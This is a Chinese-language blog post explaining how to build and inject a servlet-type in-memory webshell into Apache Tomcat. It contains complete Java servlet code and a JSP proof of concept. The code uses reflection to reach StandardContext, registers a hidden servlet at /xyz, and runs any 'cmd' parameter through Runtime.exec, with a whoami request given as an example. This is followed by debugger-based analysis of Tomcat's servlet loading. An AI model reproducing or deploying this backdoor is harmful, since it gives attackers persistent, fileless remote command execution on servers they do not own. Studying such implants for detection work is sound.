servlet型内存马

servlet型内存马

servlet

servlet的demo

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;

// 添加路由
@WebServlet("/thaii")
public class ServletDemo implements Servlet
{

    // 当 Servlet 第一次被创建对象时执行该方法,该方法在整个生命周期中只执行一次
    public void init(ServletConfig arg0) throws ServletException
    {
        System.out.println("init");
    }
    // 对客户端响应的方法,该方法会被执行多次,每次请求该 servlet 都会执行该方法
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException
    {
        System.out.println("service");
    }

    // 当 Servlet 被销毁时执行该方法
    public void destroy() {
        System.out.println("destroy");
    }

    // 当停止 tomcat 时销毁 servlet。
    public ServletConfig getServletConfig() {

        return null;
    }

    public String getServletInfo() {

        return null;
    }
}

接着访问相应路由

localhost:8080/tomcatForHack_war_exploded/thaii

image-20220720104225303

那么我们想要执行恶意代码,可以选择在service方法中写入rce代码

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;

// 添加路由
@WebServlet("/thaii")
public class ServletDemo implements Servlet
{

    // 当 Servlet 第一次被创建对象时执行该方法,该方法在整个生命周期中只执行一次
    public void init(ServletConfig arg0) throws ServletException
    {
        System.out.println("init");
    }
    // 对客户端响应的方法,该方法会被执行多次,每次请求该 servlet 都会执行该方法
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException
    {
        String cmd = servletRequest.getParameter("cmd");
        if (cmd!= null) {
            Process process = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                    new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }
    }

    // 当 Servlet 被销毁时执行该方法
    public void destroy() {
        System.out.println("destroy");
    }

    // 当停止 tomcat 时销毁 servlet。
    public ServletConfig getServletConfig() {

        return null;
    }

    public String getServletInfo() {

        return null;
    }
}

image-20220720104635299

把它变成jsp

poc

SevletShell.jsp

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext"%>
<%@ page import = "org.apache.catalina.core.StandardContext"%>
<%@ page import = "javax.servlet.*"%>
<%@ page import = "java.io.IOException"%>
<%@ page import = "java.lang.reflect.Field"%>

<%
    class ServletDemo implements Servlet{
        @Override
        public void init(ServletConfig config) throws ServletException {}
        @Override
        public String getServletInfo() {return null;}
        @Override
        public void destroy() {}    public ServletConfig getServletConfig() {return null;}

        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            if (cmd != null) {
                Process process = Runtime.getRuntime().exec(cmd);
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                        new java.io.InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null) {
                    stringBuilder.append(line + '\n');
                }
                servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                servletResponse.getOutputStream().flush();
                servletResponse.getOutputStream().close();
                return;
            }
        }
    }
%>

<%
    ServletContext servletContext =  request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    ServletDemo demo = new ServletDemo();
    org.apache.catalina.Wrapper demoWrapper = standardContext.createWrapper();

//设置Servlet名等
    demoWrapper.setName("xyz");
    demoWrapper.setLoadOnStartup(1);
    demoWrapper.setServlet(demo);
    demoWrapper.setServletClass(demo.getClass().getName());
    standardContext.addChild(demoWrapper);

//设置ServletMap
    standardContext.addServletMapping("/xyz", "xyz");
    out.println("inject servlet success!");
%>
http://localhost:8080/tomcatForHack_war_exploded/SevletShell.jsp?cmd=whoami

image-20220720112511767

分析

概述

关于前面的jsp马的内容:一开始写一个servlet的恶意类,这个没啥(参考前面的ServletDemo)

接着是request获取StandardContext,参考我写在valve内存马那里的获取StandardContext

后面这部分仔细看

ServletDemo demo = new ServletDemo();
    org.apache.catalina.Wrapper demoWrapper = standardContext.createWrapper();

//设置Servlet名等
    demoWrapper.setName("xyz");
    demoWrapper.setLoadOnStartup(1);
    demoWrapper.setServlet(demo);
    demoWrapper.setServletClass(demo.getClass().getName());
    standardContext.addChild(demoWrapper);

//设置ServletMap
    standardContext.addServletMapping("/xyz", "xyz");
    out.println("inject servlet success!");

观察后可以发现,主要是在修改StandardContext的Wrapper

Filter 中提到每一个 Context 是一个 Web 应用,而 Context 中可能存在多个 Wrapper 封装了请求。

StandardContextValve -- request.getWrapper --> StandardWrapperValve

我们调试

image-20220720113709069

但是翻阅了文档,发现其实StandardContext.addChild()方法会先于上面这个createWrapper被调用。

(下面这个不是addChild,但是这里可以看到待会要说的children变量)

image-20220720142449569

而当你关注StandardContext的基类ContainerBase时,会发现有个重要的变量:children,我们单步进入

image-20220720142350600

children里面存储的也就是 StandardWrapper 对应的 web.xml 中的上半部分,类似 Filter 中的 FilterDef 。

StandardContext还有另一个重要的变量:servletMappings

image-20220720143007857

另外,还可以看到 servletMappings 字段,包含了 servlet 的 name 和对应的 URL,即 web.xml 中的下半部分

结论:那么 Servlet 的内存马制作流程就是,先创建一个恶意的 Servlet ,用 Wrapper 将其包装后,放入到 StandardContext 的 children 中,然后将 Servlet 和 url 绑定,放入 ServletMappings 。

Servlet的生成和配置

如何创建servlet,重点还是在创建wrapper.

org.apache.catalina.Wrapper demoWrapper = standardContext.createWrapper()

image-20220720143639531

首先得有一个创建 Wapper 实例的东西,这里可以从 StandardContext.createWrapper() 获得一个 Wrapper 对象

探究配置过程,在 StandardWapper.setServletClass() 下断点,Debug 运行服务,看一下调用栈

image-20220720144007627

关注configureContext

image-20220720144821808

可以看到contextWebXml有读入xml

image-20220720145412911

根据web.xml配置context

configureContext() 中依次读取了 Filter 、 Listener 、 Servlet 的配置及其映射,我们直接看 Servlet 部分

image-20220720150642677

configureContext

image-20220720151617279

使用 context 对象的 createWrapper() 方法创建了 Wapper 对象,然后设置了启动优先级 LoadOnStartUp ,以及 servlet 的 Name

接着配置了 ServletClass

image-20220720151836462

最后将创建并配置好的 Wrapper 加入到 Context 的 Child 中。通过循环遍历所有 servlets 完成了 Servlet 从配置到添加的全过程,接下来就需要添加 Servlet-Mappe r 了(对应 web.xml 中的)

image-20220720152148611

取出 web.xml 中所有配置的 Servlet-Mapping ,通过 context.addServletMappingDecoded() 将 url 路径和 servlet 类做映射。跟进到 addServletMappingDecoded() 方法的 StandardContext 类中,发现 addServletMappingDecoded() 和 addServletMapping() 是一样的,只不过后者是不建议使用(某些低版本的 Tomcat 可以尝试使用)

总结一下,Servlet 的生成与动态添加依次进行了以下步骤

  • 通过 context.createWapper() 创建 Wapper 对象;
  • 设置 Servlet 的 LoadOnStartUp 的值;
  • 设置 Servlet 的 Name ;
  • 设置 Servlet 对应的 Class ;
  • 将 Servlet 添加到 context 的 children 中;
  • 将 url 路径和 servlet 类做映射。

servlet装载

StandardContext.startInternal

image-20220720153631768

可以看到加载完 Listener 和 Filter 之后才装载 Servlet 前面已经完成了将所有 servlet 添加到 context 的 children 中, this.findChildren() 即把所有 Wapper (负责管理 Servlet )传入 loadOnStartup() 中处理,可想而知 loadOnStartup() 就是负责动态添加 Servlet 的一个函数

image-20220720154343084

可以看到这里获取所有 Wapper

跟进 StandardContext.loadOnStartup

image-20220720154936386

首先获取 Context 下所有的 Wapper 类,并获取到每个 Servlet 的启动顺序,筛选出 >= 0 的项加载到一个存放 Wapper 的 list 中。

image-20220720155030940

然后对每个 wapper 进行装载 装载所有的 Servlet 之后,就会根据具体请求进行初始化、调用、销毁一系列操作

image-20220720155004910

加载内存马

通过上面分析,我们需要做下面的事情

  • 在 StandardContext 的 children 属性中加入我们定义的 wrapper

  • 在 servletMappingNames 属性中加入我们的 servlet 映射

  • 设置 servlet 的 loadOnStartup 属性值大于 0

向children属性添加wrapper

ServletDemo demo = new ServletDemo();
    org.apache.catalina.Wrapper demoWrapper = standardContext.createWrapper();

// 设置 Servlet 名等
    demoWrapper.setName("xyz");
    demoWrapper.setLoadOnStartup(1);
    demoWrapper.setServlet(demo);
    demoWrapper.setServletClass(demo.getClass().getName());
    standardContext.addChild(demoWrapper);

配置servlet-mapping

standardContext.addServletMapping("/xyz", "xyz");

最终就形成了上面的poc

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇